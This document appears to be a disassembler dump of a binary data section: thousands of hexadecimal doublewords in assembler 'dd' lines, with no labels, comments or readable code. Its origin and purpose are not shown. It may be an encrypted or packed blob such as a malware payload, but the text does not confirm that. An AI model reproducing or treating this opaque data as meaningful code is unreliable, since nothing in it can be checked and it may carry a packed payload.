		dd 0A0D29533h, 250CDBB5h, 68840776h, 89BA1C0Bh,	2B54E932h
		dd 447BF03Dh, 0CD4004h,	4B71A4B8h, 5D439D50h, 0EAB70640h
		dd 7B5D740h, 0C0C5FE9Ah, 8777FBEDh, 690860E9h, 27170FCh
		dd 0E43C672Ah, 1794B88Fh, 0E8ED1F68h, 409DE48Ah, 5EBF02EDh
		dd 0FE21A627h, 0D45745C9h, 0C58DE2CAh, 66EA01DDh, 68127085h
		dd 6AF32AC4h, 0B332D300h, 9647BF03h, 292C7B17h,	5BD7A0B2h
		dd 47825727h, 4F068B60h, 9E57E917h, 7E40E5F5h, 0BF4CACBh
		dd 5BDA09F8h, 7A7E94F8h, 0C90076B0h, 50C308A4h,	8A54FCE9h
		dd 0A9CD1482h, 48E5BA00h, 0F74116A1h, 8063A9DAh, 0AE2CC4F2h
		dd 0D668BD46h, 5180EC11h, 13DEC250h, 0F5E2167Fh, 377C70ABh
		dd 0B0E9C072h, 480F0425h, 0A97379E9h, 52AC07E1h, 12BFA88h
		dd 0EB285B19h, 7B3CF63Bh, 0F03C1B41h, 8D33502h,	3E7426A0h
		dd 90365112h, 0E6A2BF7Eh, 0E066ED5Ah, 75DB67A0h, 81721700h
		dd 776804F3h, 870F3915h, 0EF504C59h, 0F1909756h, 8A3726B5h
		dd 91F38FDCh, 0E7CD0215h, 0D117346h, 0B35A460h,	64873Eh
		dd 5F58F7CFh, 0A4BD5576h, 92C097DDh, 11C937E9h,	348703C0h
		dd 58C281C1h, 30132C28h, 6544FFC3h, 9DBBA020h, 23D92BA8h
		dd 575CD76Bh, 6F85421Eh, 728085Dh, 0E98EE90Bh, 7DECEFE1h
		dd 9C3958FEh, 5D82503Ch, 8E70E994h, 0D1F5C3A0h,	62BFE828h
		dd 66822FB2h, 0FB0622EBh, 0C387CA47h, 0D7EE065Dh, 0E985FCE7h
		dd 31FBF05Ch, 1ADE41Fh,	2B71FE01h, 90840FB5h, 565E46ECh
		dd 79AA0E9h, 0FA055800h, 1063A77h, 252D42F8h, 52AD295Fh
		dd 86564C00h, 5704210h,	0A65FD12Dh, 7C328B81h, 0F3DAEB04h
		dd 8817F85Dh, 6D4D8C5Bh, 0E9AC5240h, 987A8B7Bh,	2655B208h
		dd 0F88F280h, 0EEA9E953h, 0F6EBD854h, 5EF65206h, 7BE9123Eh
		dd 1E533FA0h, 0EC567968h, 30481FDBh, 29F5EAC7h,	344E865Ch
		dd 61BEF134h, 20795BEh,	9A39D466h, 684013B7h, 0DC125F85h
		dd 0A3022954h, 901C4709h, 5EAEE9A3h, 0A0FB57B2h, 6CF66B88h
		dd 0B20115Eh, 0B777D068h, 5C71F459h, 0E9089E4Bh, 0FC2820B2h
		dd 0FE88C800h, 3EEC05Bh, 0E9D609F6h, 10C9CE01h,	0D2CCE12Ah
		dd 5AFA274Bh, 0DC61F642h, 21F9D4F5h, 3179C490h,	4F454D12h
		dd 34F2BF01h, 9E344947h
		dd 1FC102EFh, 0A4E93FA0h, 7DD40977h, 29104B8h, 6D28F589h
		dd 0CAF204Bh, 0B760B1FDh, 4112A9C4h, 13E9163Eh,	0DEC22284h
		dd 0F427C656h, 25E4A0ACh, 0ECCC15C1h, 0D79E4B31h, 0C8E2CDF3h
		dd 9CBD78A6h, 8D38939Bh, 502C7B62h, 87F89D54h, 6329F100h
		dd 0C1D2F777h, 810607EAh, 215047CAh, 7A1EE92Ch,	41B8BB53h
		dd 0AF18C44Bh, 38F96029h, 0B2BE1D85h, 21CDC217h, 0A0F455E2h
		dd 0B100A12Ch, 0F727ED37h, 957CC0DBh, 311D1293h, 405AD32Fh
		dd 12892DA4h, 0AF101FBDh, 0CBF84875h, 0D8274ED4h, 2F5AD639h
		dd 0F8E37052h, 41D75628h, 431880A1h, 817B9C1Fh,	37590BE5h
		dd 500A3D75h, 0E8BA006Ah, 0E901C6EBh, 4A6CF4B9h, 7F53411Ah
		dd 0C9E43B81h, 6030601Dh, 404E36A0h, 780C832Dh,	6344BFC3h
		dd 6FECE92Ch, 16BC79A4h, 6090AC9Fh, 481E5E55h, 44044869h
		dd 802A981Ch, 0BD296D3Fh, 1CC84958h, 7D5F30B4h,	0BD3F100h
		dd 3B8736EDh, 8E1F7D9h,	33C1DCE9h, 0F36813FAh, 532502A1h
		dd 142EDB7Ah, 0F468D5Fh, 269E3EA6h, 3C0BAAB9h, 8460F929h
		dd 7B926125h, 8E82E926h, 4715C340h, 293214CCh, 841FBCBh
		dd 29C14962h, 0EEEA68C3h, 0AD124CAFh, 3E5837DCh, 64841BB1h
		dd 71590C83h, 66012D22h, 381702B7h, 235A7E9h, 824DA32Eh
		dd 0F5B497E9h, 51FE4194h, 0BDA4488Ah, 52602BAh,	5B3FE918h
		dd 0E557CE99h, 125BCFB3h, 528506E8h, 0C0F293A5h, 3FE5C9CCh
		dd 4C2CAEA4h, 0EBD36A90h, 15B6C675h, 0E3E3F95Fh, 29272D5Ch
		dd 4F468122h, 0F3B3CA0Bh, 5F029192h, 404C652Ch,	150025CBh
		dd 0F76A53Ah, 89859082h, 762A2DCEh, 0F73CD709h,	0A860F46h
		dd 0F42708C1h, 0E9325624h, 57050B9Ch, 7B5D9869h, 0BADAE708h
		dd 0EE0CF396h, 0CB3A9E69h, 9CD74C52h, 0BF088729h, 30C7284Eh
		dd 0F5BFF061h, 0FC0128D4h, 590E2D85h, 54617141h, 0B94AE601h
		dd 0B0C81341h, 6FF876FDh, 685D0924h, 87514494h,	1A08BC26h
		dd 0C5BB3CA4h, 137EEEA7h, 681283A8h, 24342773h,	0C87B74FEh
		dd 0A7C26CA5h, 7D5EB353h, 71881682h, 0F6BECEF5h, 792BD057h
		dd 2C1830Fh, 9AD7F089h,	60E7D44Fh, 93685650h, 12B80517h
		dd 4A0FBFACh, 8920B931h, 0C818E9F0h, 0FEBF54C0h, 9D06CA62h
		dd 5F4AEA5Ah, 0E8E90961h, 2C80CA54h, 1FCF727Bh,	4BCB896Dh
		dd 683BD808h, 756871D1h, 0F74E6075h, 0C679D675h, 374A4CF6h
		dd 0B80348F3h, 384B6740h, 774CC2CBh, 5B4A496Eh,	0C3F4A19Dh
		dd 0E5FB9EFh, 4F4B489Fh, 7A5996E2h, 3F5AE049h, 7DB40216h
		dd 59CAE945h, 478922D5h, 448E5453h, 0A21D8820h,	2B4D41h
		dd 0FE0CA0B6h, 0E817B873h, 2FA853Eh, 7FE95D3Ah,	0BC9793D8h
		dd 0F9E8971Fh, 0A3C0791Fh, 0F452ABF2h, 0B0D9862h, 42E636BFh
		dd 23AA4286h, 5D63E107h, 0E7B25C1Dh, 8BCE7F99h,	68414496h
		dd 0E22E353Dh, 9425C40Dh, 0FC4B44ABh, 8ACC1E3Eh, 7004175Eh
		dd 51D80B2Ah, 8480E4B1h, 6D35E9CEh, 0FBB5380h, 41FC5928h
		dd 0A8F52E65h, 0D009A1F9h, 80CB600h, 0FE5AF70Fh, 9D0B84CFh
		dd 0FC5753BEh, 50C7436Bh, 0B649B725h, 5D58073Bh, 4FA2626Ch
		dd 88BC567Fh, 0AC398967h, 14428BF7h, 0F25B057Ch, 4E8A9165h
		dd 0BFC699EDh, 469D324Ch, 15B567A5h, 0FFF85451h, 510B1D87h
		dd 0C6FE63F5h, 0CB890495h, 27DAA263h, 9F88CC1h,	4DE30A81h
		dd 3EE68C6Bh, 39CFE785h, 6806AF90h, 5C717DE9h, 8B444C92h
		dd 0B75318ACh, 80E18462h, 1387C55Eh, 38DB877Bh,	5A5BDD02h
		dd 0DC8A2D92h, 0F705B44Eh, 75CD68E1h, 6221DBDDh, 0C93B1431h
		dd 6D430A4h, 619C4817h,	31AC1A01h, 0B200238Eh, 37C5019h
		dd 543ACF05h, 1FF43D9h,	4098BC7h, 2BB12EA0h, 0E4E2D93Ah
		dd 1A6CD1E9h, 48D6E20Eh, 20816BCDh, 0ED306B76h,	0D8712868h
		dd 252FC642h, 2ADE1D72h, 6E41BE40h, 0F11A4AFDh,	1CB640DEh
		dd 4307CA13h, 0FE9EA31h, 6521687Ch, 88896CDEh, 17B0D361h
		dd 0E17ED141h, 3ED2A23h, 4EE91240h, 0DC8C1385h,	3FEDEC0Ah
		dd 0BC580BE7h, 28254B20h, 6839F4D9h, 806F03D7h,	0E7997EC7h
		dd 7FCA21D2h, 53AD7717h, 3A755A8Bh, 0BDA0D03Bh,	2E5046EAh
		dd 812E916h, 0ABBD24FAh, 60DFCF50h, 4807BA52h, 8380BF91h
		dd 70F83CE4h, 0E34017FCh, 9494EC50h, 25EA2CA9h,	86107B58h
		dd 0F85B933Eh, 0C584F4C2h, 0F5210C83h, 9DF7C9A4h, 2865600Bh
		dd 0EE8C181h, 116CC831h, 0BE5B57CBh, 1E2D6884h,	5D27D314h
		dd 2513C211h, 965F2D7Fh, 58B210BCh, 0BDD45F5h, 1704E0D3h
		dd 0A03C4B39h, 5947ABC7h, 0ED811865h, 0E4E90DAAh, 0C5FFAE60h
		dd 58CD069Ah, 0AC05E425h, 0F1B590ECh, 9F998810h, 213B2C71h
		dd 0F4B03E6Eh, 0FCCFEB3h, 3188016h, 817657B4h, 6DF6EC24h
		dd 5A05F4E0h, 0E33015B3h, 0AA219699h, 6B2DF02Ah, 0BBB66290h
		dd 0C229DC2Dh, 0D1004A71h, 9FC23BEAh, 8C5B7B70h, 0F420B349h
		dd 22574B20h, 57F029E0h, 9F113023h, 7912575Eh, 0D744C4C8h
		dd 7F26BC5Bh, 97CDD888h, 42D22599h, 0A9292C45h,	0BA9E762h
		dd 0AF50C8E9h, 732C0593h, 0B1E95130h, 0BFEDB5F8h, 15662EA5h
		dd 0D72113D3h, 0F7F8F08h, 4CC43EB6h, 5E28FA83h,	49D88814h
		dd 7D8A8082h, 0C90DC43Ah, 0E14E5A34h, 14918950h, 8F69CC41h
		dd 0E9A0D14Ch, 22CB7A26h, 0D694D55Dh, 0F7DC41AAh, 76BB63C3h
		dd 0C5195A53h, 0AADDBBF6h, 0D0E9A310h, 0E4D0AA76h, 0C3776BCFh
		dd 45EBE37Bh, 0B95101F9h, 0C27B5350h, 5230C1CEh, 0B6EE556Eh
		dd 0B5E12FF8h, 0D04985DCh, 5B3CF0B3h, 406F3FEh,	0B14AF15Dh
		dd 0C823D2AFh, 0C87B9885h, 1F17AEABh, 6AEC5B45h, 781E3D01h
		dd 0C1870F3Bh, 0F37B8Ch, 0C3CA8081h, 0FFE26A5Eh, 0EF84FE90h
		dd 9D061668h, 9F927502h, 0FD4665F1h, 9EE93E3Dh,	5A8905Bh
		dd 802F850Fh, 0F4505A58h, 95F1DB5h, 0C5C39D3Dh,	0FFCBF7B1h
		dd 0A1228A71h, 0E6E70B28h, 0C19F61FDh, 0C22FD9A0h, 0C0405B97h
		dd 17133E99h, 4EFEE946h, 74C4554Eh, 0C6EFECBEh,	0D5F8503h
		dd 825892F6h, 8F63D28Fh, 71F301C1h, 8808050Bh, 55D63966h
		dd 0D83E6A9Dh, 0E927F017h, 0D7238965h, 6BF85734h, 0E98403BBh
		dd 5D05E281h, 93FEC87h,	0F43A0457h, 0B93409E9h,	2CCC9075h
		dd 0AB6D95A0h, 44E880A5h, 510CCE11h, 0E53A9221h, 8D53CC28h
		dd 5CBD803Eh, 994E2815h, 1F36204Dh, 0F1814FB1h,	59CB8869h
		dd 5876C3D8h, 5D4CE630h, 703CE34Ah, 20EEF84Ah, 0CF51E957h
		dd 4BA54494h, 0D0D3DA11h, 0F6871D3h, 5E65402Ah,	0FC563369h
		dd 5212E0ADh, 0E57D8A7Bh, 3B39AA25h, 0DA61AA3h,	116A020Ah
		dd 0E15F61EAh, 0F160F720h, 8055C315h, 0EB9965E3h, 2CC2972Fh
		dd 0E9B7D302h, 0B549501Dh, 0C3F40FC4h, 18992A92h, 0E18FE9E1h
		dd 48BA603Eh, 4302A72Dh, 27E94E3Eh, 3A7A4C71h, 5D636988h
		dd 0D73B50CAh, 80093FC5h, 0E8895F45h, 5061005h,	0F8291D74h
		dd 2807142Dh, 0E750104h, 3F11C06Fh, 40E5FD09h, 313264F0h
		dd 165E7A49h, 57046939h, 5B00DBB8h, 0C003782Dh,	28106A4Ch
		dd 595A0705h, 0C987F12Ch, 0EC8201B9h, 70B68F8h,	0C533909Ah
		dd 0DD76D9CBh, 431EE207h, 1D82D059h, 5558A14Fh,	0BC408B71h
		dd 3A08E427h, 0BD8563BAh, 0ADF2014Fh, 13854F7Dh, 39668ECCh
		dd 6889F9F7h, 0A6E0E4Dh, 0E146B534h, 53A092ACh,	744025E9h
		dd 92C70B0h, 0F98858C7h, 0F4E8AA02h, 52D95E05h,	0FA2D0943h
		dd 356D6F0h, 0FBC18141h, 68B0A688h, 9114EA2Ah, 8EF2EE20h
		dd 0B6B963Ch, 969B6C62h
		dd 9215B4C1h, 1785963Bh, 0B0D83AADh, 0CF837577h, 0E9C0B65h
		dd 40CB41A2h, 0D879DEE0h, 0E1814F0Eh, 271204EBh, 0D35941EEh
		dd 8914F46Ah, 84490844h, 5DAE5175h, 599C68C5h, 665029C8h
		dd 71C6E6A2h, 0B6F04B20h, 903B101Eh, 680C6B48h,	658B5FB3h
		dd 2D40C65Fh, 54744361h, 0C70EC14Ah, 8016C341h,	8A1B550Ch
		dd 0A4D589F9h, 7D80B72Ch, 73F7BF57h, 0DA569024h, 91D9BA00h
		dd 926AE9F5h, 6BF8BDAAh, 8B3D45B5h, 6D785FE9h, 0D830AC02h
		dd 4129B753h, 0E660C24Fh, 1BCB9CAh, 3BBA3534h, 4641CC52h
		dd 25E81C4Eh, 0E3B9BE05h, 1827E9AEh, 0F1D3F482h, 5016F292h
		dd 475FD76h, 0E9D41F21h, 0FB3A0BCh, 31C8805Eh, 9D1CBAB0h
		dd 0CA20F8CFh, 0D6D1B14Bh, 9663D40Fh, 78145B31h, 0D2BF059Eh
		dd 0B27E9D68h, 0D857B901h, 857EFDCFh, 0A3D3944Dh, 42A25F8Bh
		dd 2AC4FF3Ah, 0B26E4541h, 6CB85E9Ch, 12842584h,	0BB7D34BFh
		dd 7255A900h, 6B351074h, 2A710B51h, 5A8EE12Dh, 0BEF32620h
		dd 1E562DF8h, 6D92330Dh, 0F20016Bh, 62634084h, 7BAB1C42h
		dd 830B3DDFh, 257FDEB0h, 0E7E25056h, 0C9BD2065h, 2F0AD326h
		dd 0F74B5D68h, 1EEC3F9Dh, 0DE3D7B40h, 0DD892DF5h, 0EB64DD71h
		dd 6ED02DFBh, 417E33E0h, 59596086h, 0CA2BFE41h,	0D5B0793Eh
		dd 0F4976A5Fh, 566B360h, 7AD5A06Fh, 0E6D58ABAh,	0C7CA77C1h
		dd 743F2C16h, 0F712BE92h, 27F369FBh, 0C2502654h, 0F468FB02h
		dd 18665562h, 74A9E89Dh, 74EB2FAh, 6F0B279Fh, 0F3CBBF56h
		dd 1062F8F4h, 890F01DDh, 56AA5274h, 44AF7E40h, 0BE7A200Fh
		dd 96B781A4h, 0F03BC08Bh, 0E2405A08h, 4BA8EC52h, 109DA3D6h
		dd 2D027F6Fh, 6EF96C2Fh, 0C587D882h, 0C448E901h, 5E79DC7Eh
		dd 5693AB95h, 9407C220h, 7603360Ah, 603E374Bh, 0D4250468h
		dd 42613306h, 95682D0Eh, 0A620CAC1h, 0A746024Ah, 43CDE901h
		dd 0B65ABE5Ah, 75DF4AB9h, 873AED1Fh, 8540F0B0h,	5B1A860Fh
		dd 7800B906h, 0D8B98B5Eh, 18D51069h, 7127EEA9h,	17D0075h
		dd 3EBD55D6h, 187E1358h, 425CED01h, 0E5D16756h,	25E957D0h
		dd 25A649F6h, 539D876Ch, 60343E97h, 0E1FBA119h,	3E51E258h
		dd 81D0B488h, 25AAF5F7h, 75E56F68h, 45B4A57Fh, 0CA51D085h
		dd 8A586F8Eh, 3BC20051h, 1F24EE7h, 69204C57h, 0D72B3434h
		dd 0AF698303h, 0F5BF1006h, 20B89E2Dh, 997FAF7h,	2E8F46A0h
		dd 3F77DFB6h, 0CBE64CF3h, 0F387A813h, 0D2512861h, 47A8024Ah
		dd 52C809B4h, 85E9B776h, 19D1E643h, 310D038Fh, 809F84B8h
		dd 3D8128F4h, 0CF6FCBCCh, 58341034h, 0E668570Bh, 66C0BF5h
		dd 0A104DFF4h, 887A60DEh, 5FD88C4h, 106F7005h, 4D1F44FBh
		dd 0B3A912E1h, 92FCC184h, 0F6F4396Eh, 0E546F625h, 7C47BCF6h
		dd 160A18BFh, 2C88895Ah, 76320502h, 3BC2094Eh, 9B085D4Fh
		dd 0E14B00EFh, 0FA012E16h, 58329AC6h, 87342A3Ch, 52E509F8h
		dd 0B2720CC7h, 0CD8FBAC5h, 785F9E41h, 0B4543039h, 53360481h
		dd 52E30507h, 97B6EDD0h, 6B1A49EEh, 4A7CAECEh, 0F06F95Dh
		dd 0C612C5Ah, 4B29E1C7h, 11D9F6F1h, 0EC4AED08h,	78B2C4FCh
		dd 0F65B0913h, 472F6945h, 5DE4ADCDh, 6E41D22Fh,	65E59D12h
		dd 0F11056A4h, 0BA16E05Bh, 0ADA7E9F1h, 50F4027h, 88820A98h
		dd 9BD89A4h, 10F77C01h,	0B4DAE942h, 6F5D1FBBh, 0F4FE6FEEh
		dd 1E9B4849h, 850802E6h, 0D75E2DF3h, 91F7E0F8h,	0FAAA3BEFh
		dd 0C2FE39B5h, 0A5ADCA3Ch, 96F50762h, 0BE9B9028h, 33575AB3h
		dd 2460E065h, 2D734C38h, 840EA48h, 84D35029h, 49CECh, 0A0239BBh
		dd 0EB1FC120h, 0FC025108h, 0FC06AA58h, 23092D7Dh, 2F655F69h
		dd 0E9DA954Eh, 58EEA049h, 67FA25h, 0DB35024Dh, 896C3F01h
		dd 8E30C35Ah, 903242B9h, 0D93106C0h, 0E95754E9h, 0C82DF705h
		dd 57C4CCD3h, 0F06EA1C9h, 0FC5A52F0h, 37C4C0E8h, 3CEB1344h
		dd 405BC212h, 0EFB5F7B9h, 42E9F316h, 7C3CD2D7h,	0CF7A9857h
		dd 1311D277h, 17681D0h,	0CD8B7EC6h, 0B5F1B85Eh,	21AFEF17h
		dd 0B4C3E9h, 2E70F0BBh,	827A3EAEh, 29107873h, 0B12627Dh
		dd 3BB35D08h, 410BC6E0h, 8012527h, 912608EBh, 637EF01h
		dd 39FC0571h, 0A6CD66A8h, 5D4AA958h, 0BCE5C9BDh, 0C891E20Fh
		dd 38853554h, 311B1B69h, 9FF953C1h, 0A5442ACEh,	161255D5h
		dd 87D203FFh, 1300D370h, 0F388C4F6h, 9F0624E9h,	57004FC5h
		dd 0D3B22BFh, 0E294C00Bh, 1F4F2C4h, 2CA6FD5Ch, 0E1CB2461h
		dd 0E90C5279h, 67C3EB5Ah, 5E8CB141h, 0F8D4174h,	1132A43h
		dd 240705EAh, 0D067178Dh, 0EA4BE059h, 0D6425424h, 0A343800h
		dd 0D2D8E910h, 12405EABh, 0F79181B6h, 0CCEA60DDh, 0EA7D2DF6h
		dd 4E1E9559h, 450327E2h, 556BC705h, 1F4BD4FAh, 2F3F78A9h
		dd 41DE3628h, 0CCF9444Ch, 38F006C0h, 3A88FC5Fh,	4DBDF650h
		dd 0F9026682h, 5B775545h, 0F803D941h, 5FC083CCh, 0F717B4C5h
		dd 90B9030h, 0E8CD1DC3h, 319E99D3h, 6DAEE984h, 0C1C63CD2h
		dd 0B8DE1D66h, 8EC1C0E3h, 5067CD94h, 0C2B5D897h, 0F58853BDh
		dd 95F68180h, 0B5461B7Ah, 8EF541E2h, 805229BCh,	8E558533h
		dd 0E0295E34h, 8B75986h, 1070C25h, 2209E9F1h, 4131ADF7h
		dd 0CA65F2A2h, 165B6878h, 0E355FC71h, 0BC3B4F70h, 2F04C72Eh
		dd 77FDDFD2h, 0E82757CEh, 0D0ED7C5Dh, 307A5F3h,	0BB533862h
		dd 5C81373Ch, 8A13B7EBh, 104F1254h, 0E93808B4h,	994BB8AFh
		dd 9263CDB9h, 42B8EF0Fh, 5F3922D3h, 0DD05B1E3h,	4D77860Fh
		dd 0C0A960EEh, 6C007E2h, 5BCDB302h, 3E4C33E9h, 1C3DA57h
		dd 0D15A0676h, 0E0105EE2h, 82A14BD2h, 124CA283h, 0F5B73565h
		dd 5921FCBCh, 0DD0C9300h, 58D735F8h, 915C3D5Ah,	0CF7C8889h
		dd 263D282Bh, 5CF57F8h,	0BEC158C1h, 9D2F6DEDh, 0BEB7F092h
		dd 0F2D7F627h, 88250B3Bh, 0DA875BFCh, 0E9E560D2h, 63B6760Dh
		dd 68801498h, 0A3256228h, 0A8459A21h, 0D407A43Dh, 2CD0F680h
		dd 75C388F7h, 0B1915B58h, 9A5DD20Fh, 0AA5A4B6Fh, 916D4A0h
		dd 35FFDB1h, 2804368h, 0A74FC15Fh, 5B5D89C8h, 4B879979h
		dd 5707F2BDh, 0FE819962h, 0F68B4102h, 800850E3h, 480F37Fh
		dd 5488F01Eh, 6934BB41h, 2C92AE37h, 6853A901h, 47E33F0Dh
		dd 0FBDF7573h, 8EEB982Eh, 5C5B0D9Ah, 0C8851F3h,	3A5D6C08h
		dd 985B5995h, 29BDC116h, 4EA94B95h, 0E091D7F8h,	6AA88E4Ah
		dd 12052F66h, 23AC7851h, 0C4383B02h, 1D608127h,	0E19C1362h
		dd 0F8CB722Dh, 46BB3AE3h, 2583F87Bh, 785E4EDCh,	6D90E0E9h
		dd 202493E2h, 0BD60A080h, 0B43B1E5h, 0AF51F8E7h, 0B9F48492h
		dd 17580CCBh, 3D720966h, 206055ECh, 1254AF0Ch, 521DB060h
		dd 1503FA7Ah, 5E0AA209h, 0ED38C68Dh, 9351593Bh,	67FF0E4Eh
		dd 5C76A33Ah, 0A891874Eh, 2901BAA3h, 648EFD5h, 0F6BC4BCEh
		dd 0FB4E5B84h, 5709AD8Eh, 0F9845F54h, 89F3F0CCh, 25059CB7h
		dd 0DDD0485Eh, 0BD81AA7Bh, 25BA22D4h, 147D8951h, 54680485h
		dd 0C3C7464Bh, 3506408Fh, 47640E18h, 48B901A2h,	0A9E9BEBBh
		dd 0DCA758E4h, 3BB2845Fh, 23057302h, 0F3604E2Ch, 0C4027C40h
		dd 68A0F4Bh, 9890FD77h,	0B6408180h, 0CB287FE9h,	6654E7D1h
		dd 95FC8F58h, 8319A73h,	0F44238B4h, 81A4F503h, 8B290B3Bh
		dd 47647E70h, 0A47FE256h, 46C4ABh, 5FFD2916h, 0BE6228BEh
		dd 0CE729902h, 0FD96E965h, 84CB93A4h, 1C91BFF2h, 1C680389h
		dd 2ED4ADA5h, 0BD81E862h, 71F9072Eh, 0EC278120h, 0E91E1AD3h
		dd 2A833131h
		dd 63E055B0h, 241F4F89h, 0D2C55A59h, 8CEB9768h,	5E4B5458h
		dd 0EBD272E3h, 19318B29h, 59DE1DA5h, 4E3FCA01h,	1187364Dh
		dd 0E05C89C2h, 5EAE968h, 0A1B92EE1h, 305077CBh,	0A44F4191h
		dd 28EF075Fh, 0F327682Ch, 7003542Ah, 94A0EE9h, 3482B874h
		dd 0E3A40EC3h, 0CD41FBC8h, 2B404F1Fh, 0FC07EAFCh, 0B092BA7Dh
		dd 5800F02h, 6C6D3DBCh,	5F998253h, 55445668h, 0E19B281Eh
		dd 55C3E96Eh, 3AB19840h, 0D36E2881h, 0F399333Ch, 588A2AA2h
		dd 1D7DAD4Bh, 0E6525AF4h, 305BD660h, 4AF3B7F0h,	41335D25h
		dd 52B21A01h, 0E9EFC380h, 0C84BEBE2h, 256F1D68h, 0ED45135Ch
		dd 0DB0C3524h, 1E2C2A47h, 49C6887Dh, 839B75BFh,	83854C2Ch
		dd 82544558h, 0D5AD91FFh, 2D22133Eh, 4337210Ch,	9576BAF6h
		dd 0C72FE32h, 20F5525Bh, 449D6D56h, 6ACEF51Dh, 69428260h
		dd 5E92F78Ah, 64B8741h,	8868150Eh, 0D6643845h, 39AE452h
		dd 0D12B1998h, 0E9044FECh, 12B8C002h, 0EA0D23C2h, 6FFD8C82h
		dd 2885F909h, 378200F7h, 0F7817B05h, 4F2721A9h,	253CF453h
		dd 0EF0BAAD0h, 711E7466h, 25BB00DAh, 0DDE98B6Fh, 0B1E4B741h
		dd 16612C0Fh, 0B2062041h, 0EEAF2AEh, 50D92956h,	0CE10EE72h
		dd 94872E08h, 96102226h, 0A7115826h, 0FC27F8F6h, 9260D28Bh
		dd 0B75C6B11h, 0E9F305B3h, 0C98A783Dh, 8440AD5Ah, 5CE5AD6h
		dd 3B66391Bh, 5BFA80B0h, 8E01032Fh, 51897E03h, 2E985FFEh
		dd 0C59FB340h, 2B8890Bh, 77EA9ADFh, 0E9E13E98h,	2ACDC825h
		dd 0EA02D56Bh, 0C033801Eh, 2A187D04h, 0E6EE31FAh, 110258EEh
		dd 2616CE03h, 0AEB73B82h, 3FF62F62h, 0D25368F5h, 0D1BA8085h
		dd 1BAC6800h, 607CF281h, 0B428500Fh, 0D2F35C5Ah, 25A7012Ch
		dd 0DEBE5F02h, 164FCFF2h, 57D1A84Bh, 3C08CF17h,	0A74249Ah
		dd 698D3E1Ah, 5B3F3C55h, 5523B45Ch, 0A4BCE927h,	53BEBAF8h
		dd 0F953C6h, 0A47ECEA6h, 0CD780178h, 4108ED51h,	49DC1E62h
		dd 4A3762D7h, 56BC780Bh, 96F7C983h, 197DF367h, 944A2D76h
		dd 0CD5171FCh, 2C96EC7Ch, 2294291Dh, 78BB5096h,	0EC27E997h
		dd 168A644Eh, 0D671F08Dh, 1D26CABEh, 66604AF6h,	0E941942Dh
		dd 51AF64BBh, 1431D054h, 152B2CE9h, 0CB4E5B66h,	14344A3Bh
		dd 82F495BDh, 5B07F2E4h, 0CFE0C665h, 695D9166h,	0EC9994F7h
		dd 9E1BB02h, 6E55ED9Fh,	756813AFh, 0D25F6136h, 0A2BD0039h
		dd 0E3824C4Dh, 302AB417h, 11FDBB64h, 0E9792804h, 5BA7BDA6h
		dd 1367A34Eh, 0D8085FF9h, 0A6581684h, 47B95EF2h, 0C7B6A10h
		dd 0FB0C8F68h, 417F4A13h, 0D61EB195h, 7F042F3Eh, 98E377F3h
		dd 0EAC20225h, 34D6888Bh, 15C2574h, 371A0268h, 0C81CF680h
		dd 6AA61113h, 9D08A716h, 20E9C28Bh, 4A4142CAh, 36F8E032h
		dd 809C72B6h, 0D528CD87h, 0A1D4F1C5h, 8FEF9885h, 500B42C0h
		dd 0DC31E9BFh, 5D5436A9h, 9C59A7Eh, 8B0BE8C1h, 9F14D547h
		dd 0FEAC544Ah, 8140823Ch, 608EE206h, 90C6E70h, 29074C85h
		dd 0F41AB00h, 212515E6h, 92A7F0CAh, 0EE36CBA5h,	0E9C1A15Dh
		dd 8B519D32h, 7CE01FE7h, 5FA7C9EFh, 0E689CF32h,	0E98905D4h
		dd 25475CEEh, 8E20A66Ch, 2CAC1EE2h, 90D713BBh, 0C49EB78h
		dd 0E39BA3Bh, 49136AF3h, 0A2EFC257h, 5476BFFCh,	9B666216h
		dd 0DFCF8902h, 35594041h, 0E706A6CEh, 0FF70F90Bh, 8BB7FB1h
		dd 2FC94586h, 4FF06B87h, 4B5B2535h, 8318E329h, 0C230E9h
		dd 7ED8BE34h, 0DE2978F5h, 53AB5B4Ah, 3C6BE9CEh,	0C6C0C177h
		dd 58F4E580h, 0FC50EC28h, 0E6394BF4h, 5FAE11D2h, 0BCFF598Bh
		dd 0DCEE4CB0h, 78BB9DD8h, 4FAE7A01h, 5726E943h,	0B88E6C38h
		dd 267E0BC7h, 816EC29h,	64EE0158h, 0F9111272h, 15D54EFEh
		dd 3586E406h, 0A4DE974Eh, 0B7B70278h, 749F7322h, 8418430Ah
		dd 4B5BA19h, 0F7133F40h, 0B1D180D2h, 7D5AC30Ch,	2ECB95F0h
		dd 0AC026A83h, 0B44E15D6h, 813A092Ch, 0A632FBCDh, 0EF837E26h
		dd 0D4888280h, 492D7Eh,	0AAF65486h, 94E226E4h, 4572534h
		dd 3CE0E726h, 5AF37288h, 66BCF4D1h, 0E7C76824h,	1CD3708h
		dd 4598F2Ch, 5D057A1Dh,	0D96086CAh, 9FD26850h, 0E7451542h
		dd 0C113F64Bh, 7880EAE9h, 6CB785C5h, 90C719A0h,	7F57FB0h
		dd 0B6521AEFh, 0F7D6D7C5h, 0AACEF4DEh, 0B5CF91B2h, 7A4D4F7Bh
		dd 3F92D696h, 0DAE4C05Dh, 5ED52F07h, 40087CE9h,	0A12AF4BEh
		dd 5AB52ED0h, 35D25EE2h, 6BB6A5EBh, 0A51199B1h,	876A51E7h
		dd 0C1E1656Fh, 0A56B533Bh, 0B0F85893h, 0F4349BDh, 0AE0FC44Eh
		dd 0A4FF0E8Dh, 0A17F29F5h, 6BA52B05h, 52C4EF32h, 0F319FC58h
		dd 79D5CCE9h, 688256ADh, 0CB7610A7h, 1C655860h,	0F796A24Fh
		dd 0BB53CD48h, 0B0261F02h, 60D8294Ch, 0A105C802h, 0F7DA590Ah
		dd 2B41F06Ah, 4DEE338Ch, 624E4C8h, 4B788C2h, 33F5C25Ch
		dd 0C5CA8802h, 0EA808712h, 2A2E0B12h, 0D2F658A1h, 0EC093AFEh
		dd 778E6E51h, 1955902Ch, 3E2EB252h, 5AD0C0ADh, 45420CB6h
		dd 95866662h, 5D5A387Ch, 44AF1D65h, 26AE1C68h, 9775A5A2h
		dd 0E9083186h, 94FDC6BDh, 0B7524A32h, 0A868C27Eh, 0AB4D725h
		dd 8D60E92Eh, 4BF2A5BAh, 3991AFB8h, 0EA703806h,	23B8625Ch
		dd 4CD1EA5Bh, 0E089F99Eh, 52E869D1h, 20B4A62Ah,	0B8E19FEAh
		dd 31FEF2C3h, 1F305C79h, 0B42D4A9Bh, 0E91853FCh, 0E8795F18h
		dd 4A5D8132h, 70BBD798h, 0A8E9DDE8h, 943D844Dh,	0EDF130BEh
